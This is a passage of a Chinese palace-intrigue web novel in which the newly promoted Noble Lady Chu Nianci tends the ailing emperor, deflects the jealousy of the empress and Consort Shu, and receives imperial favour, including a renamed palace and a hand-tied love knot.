楚念辞一阵一阵地痒,低首极轻声地笑了,抬头看他。
见他的脸颊已经不是那么红了,慢慢开始退热,那通透如玉眸子里,含着微光,水汪汪的似太液池里一湖静水。
“即便朕真的驾崩,你也不必担心前途,”端木清羽低声道,“朕其实已经给了李德安密旨,若真有那一天,朕允你南归。”
楚念辞心中微跳。
听到这话,不感动是不可能的。
垂眸不语地想,总算没有投效错人。
不过,回江南?
她比谁都清楚,这不过是奢望。
皇后与蔺景瑞岂会容她带着嫁妆安然离开?
只怕人还未出京城,祸事便已临头。
“臣妾不会离开您的。”楚念辞轻声道,手托着汝窑瓷碗轻轻搅动最后一点药汁。
她沉默须臾,才缓缓开口:“陛下,臣妾不会离开您的,这一生臣妾守在您身边,无论您年少青春,或白发苍苍,也不管您强健还是衰老,臣妾平生所愿,就是一辈子都仰望着您。”
这番话,比那夜雪林中她说得流畅坦然多了,心中虽有些许愧
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意,面上却无半点赧色。
反正甜言蜜语说多了又不用打税,男人用此来驾驭女人,她如何就用不得?
她将脸轻轻贴在他榻边,望着他精俊苍白的侧脸,又道:“自然臣妾能否永远守着您,并非臣妾想便能如愿的,但您只要不舍弃臣妾,臣妾便在此,谢您刚刚不忘为臣妾安排后路……这份心意,臣妾铭记于心。”
话音落下,殿内一时寂静,只听见窗外寒风掠过檐角的声音。
炉鼎中的红螺炭烧得噼啪作响,一室温馨裹着她微微发烫的话语,端木清羽凝视着她的脸庞,楚念辞不避不让,亦默默凝视着他。
良久,端木清羽默默收回目光。
“陛下,臣妾还有一事相请。”楚念辞趴在榻沿上望着他说。
“你说。”端木清羽道。
“臣妾为您施针之事,还请您帮我保密。”楚念辞道。
端木清羽看她一眼就明白了,微微点头道:“朕会下一道禁口令,不许外传。”
毕竟女子有如此医术太过惊世骇俗,于她却并非一件能够到处宣扬的好事儿。
端木清羽微微颔首。
楚念辞挑唇而笑,她趴在榻沿上的姿势并不舒服,可她实在倦极了,如今一室温暖如春,心头那块大石又轻轻放下,难得的安宁,便昏昏欲睡起来。
就在快要沉入梦乡之际,一只冰凉而微湿的手轻轻覆上了她的发顶。
端木清羽的声音在耳畔响起,轻如鸿羽:“你的心意,朕知道了。”
夜里,楚念辞靠在榻边,因记挂着他的病情,睡得极不安稳。
迷糊间,她隐约听见敬喜压低了的声音:“陛下,揪出了五个吃里扒外的,都是往各宫递消息的钉子,有太后、皇后、淑妃和勾搭前朝公府的人,已看管起来,等过几日慢慢打发到辛者库,逐个处理,库档里这些人还活着,查不出端倪。”
楚念辞闭着眼,手心却沁出了汗。
这些背主的奴才落得如此下场也是活该。
她暗自庆幸,自己这回总算选对了路。
第二日雪后初晴,天光亮得晃眼,皇帝染了风寒、罢朝的消息,风一样传遍了后宫。
一同传开的,还有楚念辞协助章太医诊治、晋封贵人的事。
有人疑惑,有人震惊,更多人暗中嫉恨。
但比起这个,众妃更在意的是皇帝的身子。
太后虽咳疾不适,仍派了掌事竹青前来探望,都被挡了回去。
又过二日,皇后一早便来侍疾,淑妃也几乎同时赶到……她正为宰相府传来的消息烦心,玉嫔被废后,太尉府已求得太后允准,要送嫡女入宫了。
比起一个新晋的贵人,太尉府嫡女的入宫,显然更让她感到威胁。
不多时,嘉妃、悦嫔与斓贵人也陆续到了养心殿请安。
一行人全候在偏殿,李德安不敢怠慢,忙进去通传。
此刻多数人心里琢磨的,其实是皇帝近来已冷落皇后,下一个得宠的会是谁?
没料到让一个小小的常在抢了先,直接晋封贵人。
所以楚念辞从寝殿退出时,一抬眼,几道带冷意目光正灼灼地盯着自己。
如果眼神能杀**的话,她恐怕已经被戳得千疮百孔了……
第61章 楚念辞巧化淑妃怒火
楚念辞并未避开她们审视的目光。
既已晋为贵人,在陛下心中也算有了几分位置。
若旁人不来招惹,她自会相安无事;可若有人非要生事,她也不是任人拿捏的软柿子。
只是眼下,她并不想立刻与淑妃对上。
楚念辞脸上扬起一抹清澈浅笑,仿佛丝毫未察觉对方眼中的冷意。
她知道前朝后宫从来息息相关,宫里更是没有不透风的墙。
自己从一个六品小官之女一跃晋为贵人的事,早已传遍六宫。
在不知多少双眼睛盯着情况下,避开众人耳目,入了皇帝的眼,如今嫔妃们看她的目光,早已没了之前的淡漠,取而代之的是藏不住的艳羡与嫉恨。
楚念辞心知,自己算是彻底被推到了风口浪尖上,避无可避,无需再避。
蔺皇后在一众宫人簇拥下立在殿前,目光平静带着冷锐。
而淑妃的双眼中更是掩饰不住的嫉妒,她抬手轻抚鬓边凤钗,笑容妩媚中透着锋利。
楚念辞忙向皇后与淑妃端正行礼:“参见皇后娘娘,千岁千福,参见淑妃娘娘,万安吉祥。”
随即又向其余几位嫔妃微微欠身,“各位姐姐晨安。”
楚念辞端端正正行了个礼,规矩上挑不出一丝错处:“臣妾受封贵人,本该早日去给皇后娘娘请安,只是这两日忙着照顾陛下,一直抽不开身,今日特向娘娘补上这礼,还望娘娘勿怪。”
皇后惴惴不安了一夜,昨日她派去跟踪她私祭太监,出去后就没了踪影,又派人在宫中找了,依旧是石沉大海,晨起便听说皇帝病了,然后便传来她晋升的消息,诧异之余,忙召刘太医一问,说楚念辞协助章太医治好了陛下的病。
震惊之余便匆匆赶来,听了李德安回禀,才知此事的原委。
她心下不悦,众目睽睽不好发作,面上仍端着温婉大方的笑容:“自然是陛下的身子最要紧,妹妹不必多礼,快起来吧。”
“谢皇后娘娘。”
楚念辞起身时,悄悄看了眼皇后的脸色。
即便盖着厚厚的脂粉,那股憔悴还是透了出来,比上次见时更差了。
她心想,幻情花是药王谷的秘药,别说刘太医或她那庶妹,就算寻常药王谷弟子来了也未必认得,皇后这模样,八成是之前用幻情花留下的后遗症……都病成这样了,还天天想着争宠算计,不是自己折磨自己么?
况且那东西用多了,还会让人绝育。
皇后越是急着抓权固宠,越像在镜中捞月,到头来只怕一场空。
正想着,便听蔺皇后嗓音温婉地开口:“慧贵人昨晚救驾有功,该赏,不过,从选侍直接晋至贵人,这般恩宠,宫中怕是无人能及了。”
她顿了顿,目光似有似无地掠过淑妃,“这般荣宠,往后你更该恪守本分,好好伺候陛下,早日为皇家开枝散叶、延绵皇嗣。”
这话明面上是叮嘱,实则是说给淑妃听的。
果然,楚念辞刚想站起来。
淑妃那双漂亮的长杏眼冷冷扫向楚念辞,眼中怒意与嫉恨如刀子般刺来,冷声道:“本宫还没让你站起来。”
一旁的沈澜冰下意识想上前,却被嘉妃轻轻拉住袖子,示意她不要轻举妄动。
楚念辞唇角微挑,楚念辞暗叹。
来了,该来的还是来了。
可既受了这份隆恩,便也得承受随之而来的嫉恨。
自然不会让皇后挑拨如愿。
她低着头跪着,声音温顺却清沥:“臣妾谨记娘娘教诲,只是开枝散叶、延绵皇嗣之事,终究该由皇后娘娘与淑妃娘娘才是,臣妾不敢僭越。”
“你这话什么意思?”淑妃轻嗤一声,脸上写满不屑。
她最看不惯这种嘴上谦卑、实则口是心非的作派。
悦嫔忽然开口,清冷的脸上全是不屑:“是啊,你这晋封的速度,怕是连合宫谁也比不上,福气来得快,可也要揣稳了。
“你若敢恃宠而骄、狐媚陛下,本宫绝不轻纵。”淑妃斜晲她,尽管心里明白,这是皇后的挑拨,眼前最大的对手仍是皇后,可一想到皇帝对她的青睐,便压不住那股妒火。
尤其楚念辞生的那副模样,又纯又媚,连她看了都觉晃眼,心下更是恼恨。
楚念辞挺直脊背,她昨夜早已想好应对之策。
淑妃对皇帝的情谊,是**的剑,伤得了别人,也是一把镣铐,她锁住了自己。
“娘娘这话可折煞臣妾了,”她低眉顺眼,语气诚恳,“臣妾蒲柳之姿,怎敢与娘娘相提并论?不过是昨夜陛下突发急症,一时缺人手,臣妾略通医理,从旁协助章太医罢了,陛下念臣妾微功,方有此次晋封。”
言下之意,并非是因为侍寝晋升,何必拈酸吃醋。
果然,淑妃闻言,神色稍缓。
“其实……昨夜陛下昏沉中,还几次要传召淑妃娘娘呢。”楚念辞又道。
“哦?”淑妃眉梢微挑,审视着她,“陛下病中还念着我?”
“臣妾岂敢胡言,”楚念辞神色恭敬,“陛下说,与娘娘自幼相识的情分不同他人,病中最想见的便是您,只不过雪夜路滑,终究未让人去传话罢了。”
这话一出,淑妃纵是脾气急躁,眼中也不禁掠过一丝动容。
她瞥了楚念辞一眼,神色仍带不屑,可那股尖锐的敌意却隐去几分。
不过是个靠几分医术上位,暂且还入不了她的眼,如今最该防备的,终究还是皇后。
悅嫔看也不看,微微冷笑:“慧妹妹真是巧舌如簧,难怪连获皇上
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青眼,只是不知道这样的话,是你杜撰的,还是真有其事。”
淑妃听她这么一说,脸色又难看起来:“你敢诓本宫?”
楚念辞悄悄瞥了悦嫔一眼。
悦嫔生得清冷,在宫中算中上之姿,只是肤白细腻,一看便是锦绣丛中娇养出来的,远远望去,如一个玉人。
原以为她性子也如玉般淡泊,不屑争宠,没想到今日也按捺不住跳了出来。
看来权势富贵,终究能改变人心……何况还有端木清那样的容貌,又有几人真能全然不动心呢?
“臣妾岂敢欺瞒娘娘,”楚念辞垂眸,语气愈发诚恳,“陛下病中昏沉时,确实低声唤过‘兮儿’……那一幕臣妾记得真切,后来陛下醒转,臣妾才敢问起,方知那是娘娘的乳名。”
她并不怕淑妃起疑。
前世贵眷往来间曾听闻,淑妃母亲极重此名,常于亲眷间称呼。
况且这种床帏私语,淑妃绝无可能真去问皇帝……这谎言,戳不破。
淑妃原本只当楚念辞是随口敷衍自己,可“兮儿”这乳名,唯有家中至亲与贴身侍婢知晓,楚念辞绝无可能探得。
难道……她说的竟是真的?
陛下心中,果真还念着她?
淑妃脸色由阴转晴,再看楚念辞时,目光里甚至带上一丝怜悯。
“你总算是个懂事的,”她语气缓和了些,挥了挥手让她起来,“本宫就喜欢识时务的人。”
楚念辞起身行礼,适时露出几分不安:“不瞒娘娘,臣妾家世微薄,纵得晋升,也比不上各位娘娘根基深厚,入宫只求安稳度日,从不敢有非分之想……”
淑妃这才真正舒了口气……至少眼下,这慧氏还算识趣。
此时李德安进殿通传,引众人入内。
端木清已更衣起身,坐在屏风前的龙椅上。
他面色仍带病后苍白,精神却好了许多,烛光映着半边脸庞,眉眼精致如画,长发未束,松松披在肩头,寝衣袖口微滑时,淡淡药香混着清冽气息弥漫开来。
章太医刚送进汤药与药膳。
他尝了几口便推开,道:“朕已好些了,皇后与淑妃不必忧心,都坐罢。”
端木清声音平淡,却自带威仪。
众人行礼落座。
他目光轻扫,在楚念辞身上略停一瞬,随即转向皇后:“昨夜朕晋封了慧贵人,皇后想必已知晓?”
皇后笑容微僵,旋即温婉道:“陛下也不差人告诉臣妾一声,若非今早刘太医请脉时提及,臣妾还蒙在鼓里呢……您总不让臣妾过来侍奉,臣妾还当您认为之前的事不快。”
淑妃眼波流转,两步轻巧挤到帝后之间,娇声道:“陛下可不许偏心,上回侍疾皇后姐姐已辛劳多日,这回便让给臣妾吧?”
第62章 蔺皇后下套,楚念辞照单全收。
看着她娇嗔的面孔,端木清羽嘴角微弯,满室生春。
知道她这是想要侍寝。
相府把她送到自己身边,是刺探君心,更为了太子之位,自己不可能宠幸她,让她生下皇子。
但毕竟淑妃从小与自己一同长大的情分,正因情同兄妹,让她侍寝,好比睡自己小妹,心中隔应,但对她用那药,心中有一丝犹豫,她毕竟与皇后不同。
他故作几分宠溺的,言下拒绝说:“朕怎么就偏心,就数你最会撒娇,你说说,这宫里,谁的恩宠能越过你呢?前日才赏了你一斛大罗国进贡的夜明珠,昨日又陪你去祈元殿祈福……你自己说,还有谁比你得的赏赐多?”
淑妃却根本听不出皇帝的拒绝之意。
反而娇俏一笑,她今日特地穿了一身藕粉色襦裙,加之雪肤花貌,豆蔻年华,这一笑,丽色顿生:“清羽哥哥当众打趣臣妾,臣妾不依,今晚就要留下来。”
端木清羽眉峰微蹙,神色如常,道:“既如此,就依你,敬喜,去准备桃花酿。”
听见桃花酿三字,楚念辞心中一跳。
没料到他竟然对淑妃也用上此物。
帝心如铁,君心难测。
“光顾着说话,爱妃们都坐吧。”端木清羽淡淡道。
众妃依言落座。
待众人坐定,淑妃却没坐,立即挤进帝后二人中间立定,盛了一碗清粥,还将胳膊肘对着皇后的脸。
楚念辞见了只肚内暗笑。
皇后被淑妃胳膊杵着脸,微笑附和:“妹妹也坐,不必拘礼。”
淑妃欠身笑道:“多谢皇后娘娘,臣妾并非拘礼,只是为了伺候皇上用茶。”
皇后侧目看她一眼:“淑妃出身名门,倒是懂规矩。”
淑妃唇角微扬,讥笑道:“皇后娘娘身为六宫表率,上次侍疾亲自操劳,居然还能元帕落红,臣妾不过是学着皇后的榜样,谨守妃嫔本分罢了。”
这句话就是明着打皇后的脸。
皇后闻言,端庄娇美的脸差点都没绷住,手中帕子一下子拧成一团。
淑妃毫不在乎地撇撇嘴角,还想开口继续讥讽。
端木清羽不动声色地斜瞥了淑妃一眼,清粼粼的目光湛湛,轻飘飘旖旎而过……
淑妃被他这一瞟,立即有一瞬间的恍惚。
然后,她抿抿嘴,含羞带怯地低头不再言语。
这淑妃在陛下这儿基本没戏了,只有缴械投降。
楚念辞低着头,心中觉得既好笑又敬佩,觉得他这双目,什么会勾人,会撩人,那都是小意思,他这眼睛还能化干戈为玉帛,平息嫔妃间的矛盾和妒火。
这比看戏还热闹。
可能楚念辞笑意深了些,这神态却恰好被蔺皇后瞥见。
皇后心道。
这淑妃仗着家世,不把本宫放在眼里。
本后便也忍了,你这上不了台盘的东西。
不过仗着陛下几分喜欢,竟然也敢来嘲笑我,于是定定神,含笑开口:“淑妃已是容色倾城,如今又多了一位慧贵人,姿容真是不分上下,只是臣妾有一言,不知当讲不当讲。”
“但说无妨。”端木清羽道。
“慧妹妹从前在御前伺候,暂住养心殿尚可。如今既已封了贵人,若再长居于此,恐不合宫规。不知陛下打算如何安置?”皇后徐徐问道。
端木清羽语气随意:“朕想留她在身边当差。”
“不可,”皇后神色微变,连连摇头,“一则慧妹妹出身不高,骤然封贵已引人侧目,二则从未有宫嫔长居养心殿之先例,若强行如此,前朝后宫难免非议,恐损陛下清誉,臣妾身为皇后,若对此视而不见,便是失职。”
端木清羽垂眼摩挲着玉碗,沉吟片刻:“依你之见,该如何安排?”
“如今六宫多处宫室年久失修,唯东六所附近的冷月宫尚可居住,但那处靠近冷宫,过于荒凉,如此,便只有离养心殿最近的椒房宫了。”皇后答道。
“这怎么行?”淑妃立即反驳,眼中冒火,妒意都已经快溢出来了,“谁不知椒房宫是先皇后旧居?让她住进去,岂非对先皇后大不敬?”
楚念辞静静地听着,心中冷笑。
原来是在这儿等着她。
皇后这手“鲜花着锦,烈火烹油”的算盘,打得可真响。
可她既已决心攀折这荣华富贵,又怎会惧怕这烈火烹油的阵势?
这送到嘴边的饵,看似惊险,实则如何得看帝心。
她抬头看了一眼端木清羽,见他一双长眉,乌黑锋利,眉梢斜飞,目横秋水,眸光如初生煦阳般温和,似乎并未动怒。
楚念辞心中思忖。
她曾听岚姑姑说过,先帝与元后感情极深。
当年先帝甚至为元后特建椒房宫,专开一扇小门连通养心殿,这段往事在宫中无人不晓。
如今皇后提议让她住进椒房宫,表面看似抬举,实则是把她架在火上烤。
住进去必定招来无数非议。
若推辞,皇后正好顺水推舟,将她打发到偏远冷清的宫室去。
这一步一步,算得真是精明。
“朕还需她调理汤药。”端木清羽淡声道,说着摸索着手上的戒指。
“陛下,若长此以往,恐引后宫失序、多有怨怼,”皇后语气温和却寸步不让,“臣妾闻前朝哀帝,常将万贵妃带在身边,甚至上朝,亦设座位,致使天下离心,臣妾闻圣明之君,身边常有贤德之臣,宫室不住丽色之宠,还望陛下以前朝哀帝为鉴,早定宫室,以安众妃之心。”
这是告诫陛下,不可将宠妃放在身边,否则便是贪色误国。
听皇后这一句,楚念辞便知道自己稳了。
皇后娘娘费尽心机地想将自己弄去冷宫。
终究是未弄清君心,前朝哀帝宠幸万贵妃是不假,但**的原因是他养佞臣,远贤臣,横征暴敛,小皇帝常常与朝臣嗟叹,哀帝昏庸无度,听信奸佞,用这套说辞
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是说服不了他的。
且以宫规压端木清羽,可这小皇帝最不耐的就是这一套。
果然。
端木清羽摩挲翡翠扳指,眸光若暗夜星辰般闪烁不定,已有不悦之意。
蔺皇后立即起身,敛裙跪地:“臣妾请陛下尽早明断。”
淑妃闻言亦蹙起黛眉,听皇后话中,丽色之宠似暗指自己,心中不悦,冷声道:“皇后娘娘这话虽有理,却未免太武断,若论‘近便误国’,臣妾的玉坤宫离养心殿最近,岂非嫌疑最大?”
皇后温和依旧:“淑妃妹妹秀毓名门出身高贵,自是无可非议,可慧贵人如何能与你相比?”
“人贵有自知之明,以臣妾浅见,慧妹妹还是住冷月宫,不争不显,方能长久,这也是为她好。”悦嫔也小声地接了话,支持皇后的说法。
端木清羽啜了口茶,淡淡道:“皇后倒通圣贤之语。”
皇后连忙再拜:“皇上恕罪,臣妾不敢妄议,只是觉得圣贤之话,常用常通。”
端木清羽摆摆手:“皇后坐下吧,你所奏有理,只是这般动辄磕头,倒不像夫妻,反似上朝那些老学究一样。”
他目光转向一旁,“此事,不妨听听慧儿自己的意思。”
楚念辞闻言,唇边掠过一丝微笑。
她知小皇帝这是在考自己。
冷眼观察了这许多天,他其实喜欢机敏聪慧的女子,结合在梅林中他富国强兵的愿望,这个人站到他身边的女人,必定有主见,不会人云亦云。
于是不慌不忙,屈身一礼,这才微微抬首,清声开口:“陛下,世人常言‘红颜误国’,臣妾却以为,此皆庸主无能的托词,佞臣腐儒借机向天下女子泼尽脏水,天子若贤明如先帝,臣下如当朝诸位,纵有万贵妃在侧,又能如何?陛下不做那昏聩的晋哀帝,众臣不做奸佞,世上便无祸国的万贵妃。”
她嗓音清越,字字如珠。
一为女子误国辩白。
二赞先帝先后伉俪情深。
三奉承的陛下贤明,这番奉承春水如流过,静水流深毫不见痕迹。
但因这番话太过大胆,殿内霎时一片死寂……
连皇后与淑妃面面相觑。
不料她竟然说出此语。
皇后在内,连同淑妃及帷外宫人尽皆色变,皆齐齐跪伏于地。
“慧贵人言辞是实在大胆,臣妾请冶她妄议朝政之罪。”皇后脸上已经涌现出一抹狠戾的笑容。
淑妃幸灾乐祸,想着这些在陛下乱晃的女人。
本就碍眼,少一个好一个。
沈澜冰吓得俏脸发白,嘉妃也惊得一身汗,两人只朝楚念辞示意她别再开口。
悦嫔清冷的脸上流露出一丝冷笑。
可楚念辞并不畏惧,她侍茶时,屡屡听皇帝曾与朝中众臣感叹前朝兴衰。
皆亡于哀帝待懒朝政,远贤臣,亲小人。
造成十室九空,民不聊生。
所以,她跪前一步奏道……
第63章 做朕的女人
楚念辞故意捂着嘴,软软屈膝,小鹿般低颤道:“陛下恕罪,您英明睿智,天纵英才,岂是晋哀帝可比分毫?臣妾便真想专宠祸国,也逃不过您的火眼金睛呀。”
毫无主见的女人,小皇帝根本就不喜欢。
但凡事也不可太过分,若是踩到他的底线,也会引起他的厌恶。
不卑不亢,不软不硬,再带上一点女人味,才符合他的胃口。
端木清羽闻言,心中暗暗一惊。
这般见解,便是朝中那些股肱之臣也未必能说得出来。
她一个后宫女子竟有如此见识。
有些女人空有倾国之貌,内里却浅薄无物,相处久了便觉乏味,而她却像深藏的珍宝,愈了解,愈觉可贵而神秘。
不知不觉间,她在他心中的分量,又沉了几分。
不过帝王向来喜怒不形于色。他只微微一顿,神色便恢复如常,仿佛什么也未曾触动。
端木清羽稳坐如磐,眸光犀利,神色难辨。
然后竟“哧”的一声笑了出来,随即又绷起脸佯怒道:“好大的胆子,竟敢将朕比作**之君?”
“臣妾听皇后之言,心中害怕,才一时口不择言。”楚念辞惶恐地说。
见她居然还把责任推到自己身上,蔺皇后气结。
端木清羽瞥了皇后一眼,笑道:“皇后也是为朕担心。”
他亲自上前将她扶起,朗声道:“先帝推残暴之前晋,并在盛京称帝,先辈筚路褴褛,创业艰难,朕坐拥天下,岂会重蹈前晋哀帝之覆辙,如今天下方定,但四夷并未宾服,时常挠边,边陲亦有藩镇割据,朕无意自欺欺人,定当励精图治,革旧图新……
至于后宫,朕自信不会如哀帝般昏庸无道,眼中只有红颜,亡了国,还将责任归于一介妇人,朕不信,亦不屑。”
端木清羽轻抚垂落的长发,笑得风流洒然。
他面上并无半分不悦,语气里反而透着几分松快:“那宫室你大胆放心地住吧,不过你一介宫嫔,终究不宜妄议朝政,以后须谨言慎行。”
楚念辞垂首轻声道:“臣妾万万不敢住椒房宫,承此盛名,‘椒房’二字,乃皇后专用,易引朝臣非议,陛下若真顾念臣妾,可否为宫殿另赐一名?”
端木清羽朗声一笑:“朕的慧卿,果然蕙质兰心伶牙俐齿!”
他眼中含笑:“倾城之貌,慧质之心,看你眉尖若蹙、面若海棠……便将椒房宫改名为‘棠棣宫’,命人重新修缮,待朕病愈,行过贵人册立之礼,再搬进去吧。”
楚念辞微微后退半步,端正身形,再次敛衽下拜:“臣妾谢陛下赐名。”
“朕等着你成为我的真正贵人。”端木清羽含笑道。
楚念辞闻言微微一震。
成为他真正的贵人,他难道是那个意思……
察觉他炙热的视线,她微微抬起头,含羞带怯地笑了笑,迅速抬头撩了他一眼。
端木清羽看到了她大胆又略带羞怯的视线。
不由眸色也深了深。
众妃尽皆骇然。
这换个名字不就是掩耳盗铃吗?
但心中明白是一回事儿,看陛下对她的宠幸劲儿,谁也不愿意做出头鸟。
出面去戳穿此事。
皇帝对她宠幸当真不同。
皇后眼中妒恨交加,忙说了一句:“还请陛下三思。”
话音出口扭曲得连声调都变了。
淑妃妒恨交织,眼睛要滴出血来。
却恰好瞥见皇后那抹妒恨神情,又听见她声音都变了,心头反而一畅,面上扬起笑意。
她语含讥讽道:“陛下青春鼎盛、英明神武,自有乾坤独断之才,区区四夷尚不足虑,岂是一个小女子能左右圣心的?”
皇后只好挤出一丝笑容,应道:“淑妃说得有理,是本宫疏浅了。”
“皇后统摄六宫,琐事繁杂,一时失言,亦是无心之失。”端木清羽淡淡道。
楚念辞垂眸暗笑,
这位皇后娘娘往日只顾争宠固权,何曾真把心思放在六宫事务上?
淑妃旋即轻笑:“皇后果然是贤妻,亦似贤臣,只是见识粗短,便算不得贤后了。”
皇后脸色微白。
端木清羽似未察觉,只转向她道:“淑妃颇识大体,也懂庶务,心思也细,六宫诸事若你觉得繁重,不妨让她跟着学学。”
皇后忙起身,神色虽已变了,却仍强作大方:“臣妾愚钝,六宫事务繁杂,怎好让淑妃……”
“事务繁杂,更该找一个帮手,棠棣宫装修的事,就交给她吧,”端木清羽笑道,“再说了,就凭国舅爷昨天晚上的所作所为,朕也不能让皇后那么操劳了。"
蔺皇后脊背上的汗,唰地一下就下来了。
虽还大方地笑着,但笑容已经僵硬了。
弟弟又闯祸了。
她也知道了昨天晚上弟弟来了养心殿,虽不知道他做了什么,说了什么,但肯定是又触了陛下的禁忌。
蔺皇后手指一下死死攥住裙边褶皱,衣服上的金线刺得她的手指生疼。
莫非又是为了她……她看了一眼楚念辞。
早就警告过他,不许他再纠缠这个女人。
怎么就听不进去呢?
楚念辞见皇后双目灼灼地盯着自己。
只回了一个无辜的笑容,蔺景瑞昨天的所作所为,所言所行,肯定被小皇帝知道了。
在深宫之中,在皇帝面前,便是有丝毫的犹豫不决,讨价还价,便会现世报,导致权柄旁落。
今日端木清羽这番将六宫协理之权分与淑妃,就是为了约束皇后,警告国舅。
没有将他一竿子撸到底。
只分皇后治理后宫的权力,也是看在他最终还是将章太医请过来的份上,法外开恩了。
楚念辞心中冷笑,刚刚皇后就差指着鼻子说自己是媚惑主上的妖妃。
此时,不还回去,岂非认为自己软弱好欺。
于是适时上前,恭谨道:“淑妃娘娘聪慧细心,定能将六宫事务打理得妥帖周全。”
众妃闻言,全都俯身跪下,同声贺赞。
她们都还记着,前段时间皇后侍寝,可是自己吃独食,一杯羹都没有分给众人。
皇后气的脸都已经
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黑了。
但听见众人的恭贺声,又不能出言阻止。
此事既已定下,便无法更改,心里想着,这一局是输了,但自己并未全输,棠棣宫新分宫人的权力,还牢牢地掌握在自己手里。
如此一想,便狠狠地咬紧嘴唇。
端木清羽大病初愈,脸上已现疲态,淑妃撒娇作痴,定要留下在养心殿用晚膳。
他笑而不语,也不阻止,皇后见状忙带众妃告辞。
一时众人散去。
楚念辞位低,落在的最后,等众妃走了才走下金阶,她站在那儿,欣赏着天边一轮温暖的落日。
就听身后脚步声响起,她一回头,见端木清羽站在汉白玉雕栏前。
一抹夕阳正洒在他的脸上,那夕阳是明艳极了的绯红色,落在他如谪仙般脸上反而淡得恍若消失了一般,更应了那句话,淡极始知人更艳。
不由一时贪看住了。
端木清羽也注视她,见那夕阳落在她眉心红痣上,却是若娇棠一般瑰丽。
“慧儿,过几日,你做朕的女人……”
楚念辞没听清楚这句话,只听见“做朕的女人”几字。
他的声音在耳中如晚风般不真实。
楚念辞心中微微一动,想开口去问,他已转身进殿了。
她心跳得很快,连手都微微颤抖。
激动着,楚念辞转过拐角,差点撞上敬喜端着桃花酿。
那幻情花的味道,她老远都闻见了。
楚念辞垂下双眸,看来淑妃也是如此待遇。
她以为会不同。
那自己呢,他说让自己做他的女人。
真的会与她们不同吗。
次日,淑妃侍寝的消息便传遍了后宫。
按宫规,妃位以上需有子嗣方能晋封,皇帝却特赐她“夫人”称号,流水般的赏赐直接送入了玉坤宫。
六宫都明白,“夫人”不过是个虚衔,淑妃却极为得意。
因为这封号是她亲自向皇上求来的。
一时间,她打破皇后昔日独宠的势头,成为新贵。
淑妃风头正盛,连往坤宁宫请安也去的少了,偶尔露面,更是毫不掩饰那份趾高气扬。
先前聚焦在楚念辞身上的嫉恨目光,此时也大半转向了她,又过了两日,便听镇国公府上表想要乞骸骨回乡,直接撂挑子不干了,这明显就是拿捏陛下,端木清羽于是也赏了嘉妃桃花酿侍寝,一时两人,你来我往斗得热闹。
楚念辞只觉得好笑,站干岸看热闹。
她心知皇帝不会真正让任何妃嫔孕育子嗣。
上一世直到最后,淑妃与玉嫔争夺后位时,也始终无儿无女。
若非自己此世入宫,改变了许多事,玉嫔应该正得宠,淑妃的恩宠只怕比眼下更盛。
因棠棣宫尚需修缮,楚念辞仍暂宿于养心殿。
她一觉睡到日上三竿,正迷迷糊糊间,忽被外间团圆和满宝的惊呼声吵醒。
楚念辞揉着眼睛坐起身,朝外问道:“出什么事了,这样大惊小怪的?”
“小主您醒啦!”团圆的声音带着雀跃,“快出来看看呀!”
第64章 同心结与准备侍寝
楚念辞披衣走到外间,团圆正捧着托盘候在那里。
托盘上静静放着一套点翠镶钻头面。
那翠羽采自翠鸟颈间最细软的活羽,每只鸟只的零星几根,集齐数百只方够制成一副。
羽色在光下流转,忽而如淬火明艳,忽而似松间流霞,更珍贵的是用已近失传的贴翠工艺,十几名工匠,也需要整整一年,方能制成。
光影在簪钗间游走,漾出湖光般的涟漪,嵌饰的碎钻熠熠生辉,整副头面华美不可方物。
因陛下说此太奢靡,早就已经禁止采羽,所以整个大夏,仅此一副。
除了头面,院里还堆着二十株罕见的绿梅苗,一时竟无处移栽,全暂搁在那儿。
楚念辞忙跪下谢恩。
她脸上漾起恰到好处的惊喜与感动,心里却有些唏嘘……这些东西对皇帝而言不过九牛一毛,却能换得她感恩戴德。
可若以为凭这些赏赐就能换得她真心,未免太天真。
她想在深宫走得远,必须先守好自己的心。
李德安笑呵呵上前:“恭喜慧贵人!”
他手里还端着个托盘,神神秘秘地压低声音:“陛下心里记挂着您呢,除了这些,特命老奴把这个送来。”
“陛下费心了,”楚念辞接过托盘。
“奴才可从未见陛下对哪位娘娘如此上心过……”
见老太监如此神神秘秘又珍而重之,楚念辞不由也好奇起来,忙打开钿螺盒子,里面静静躺着一个同心结香囊。
正是她当初送他的那个。
下头缀着的同心结却编得歪歪扭扭,不像出自绣坊之手。
她心头微动,轻声问:“这难道是……”
“是陛下亲手编的,”李德安小声道,“编了好几晚呢。”
楚念辞险些没掩住惊讶。
她实在难以想象,那般渊渟岳峙的人坐在灯下编同心结的模样……若将他想象成个绣娘,画面倒是契合了。
“宫中独此一份,连皇后与淑妃娘娘那儿都没有。”李德安笑眯着眼,“陛下还嘱咐,让您回一份礼呢。”
“回礼?”楚念辞黛眉微蹙。
小皇帝这是要同她演一出郎情妾意,缠绵悱恻的爱情戏码。
那自己配合就是。
当年先帝也曾对先皇后爱得惊天动地,还写过“在天愿作比翼鸟”诗句,可是一转头还不是为了稳定朝堂,娶了几位世家女子为妃,生了好几位皇子。
帝王总喜欢她女人全心全意地爱慕他。
可谁若真傻到交出了真心,只怕会伤得更深。
入宫那日她就发过誓:绝不动心。
但眼下,该回什么才能显得欣喜感动,又不至于太过?
她眸光一转,走到窗边取出一方旧绢帕,十分郑重提笔写道:妾心如磐石,君心似流水,若教君知妾,除非君为妾,妾为君。
写罢。
她用发簪刺破指尖,在帕角按下一个鲜红指印。
李德安在旁看得亦有几分动容,稳了稳神才道:“老奴定将娘娘的心意带到。”
他暗下决心,往后对这位慧贵人要更恭敬些。
楚念辞让团圆给李德安封了厚赏。
待他离去,团圆连忙过来替她包扎,声音里欢喜又心疼:“陛下待小主真好,可小主何必刺伤自己?满宫里只有您有陛下亲手编的同心结……方才李公公还提醒,让小主今晚预备着侍寝呢!”
团圆和满宝喜形于色,真心替主子高兴。
楚念辞脸上仍挂着惊喜,眼睛却对着那桌上点翠凤冠。
难怪后宫这么多女子,明知算计别人可能粉身碎骨,仍如飞蛾扑火,拼命想把别人踩下去,这般如谪仙的九五至尊,随手一赏便是价值连城的珍宝,谁能不心动?
而帝王的心思,又有谁能真正摸透?
爱上帝王,无异于自寻死路。
不过……比起前世嫁入蔺家后,只能拿嫁妆苦苦支撑的窘迫,皇帝待她确实大方太多,也好上太多。
她收敛心绪,含笑吩咐:“眼下不宜张扬,就先赏你们每人一个月钱,只要忠心,往后我绝不亏待。”
团圆与满宝连忙谢恩。
